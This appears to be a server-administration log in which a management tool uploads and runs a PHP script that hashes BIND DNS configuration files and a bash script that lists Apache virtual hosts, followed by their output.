MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:28:03: Establishing a connection
2026-01-03 19:28:03:
PUT: /tmp/pkp672414
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:28:04:
runuser -l bind -s /bin/bash -c '/tmp/pkp672414; rm /tmp/pkp672414'
2026-01-03 19:28:04:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:28:08: Establishing a connection
2026-01-03 19:28:08:
PUT: /tmp/pkp489014
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 19:28:08:
chmod 755 /tmp/pkp489014; /tmp/pkp489014; rm /tmp/pkp489014
2026-01-03 19:28:08:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
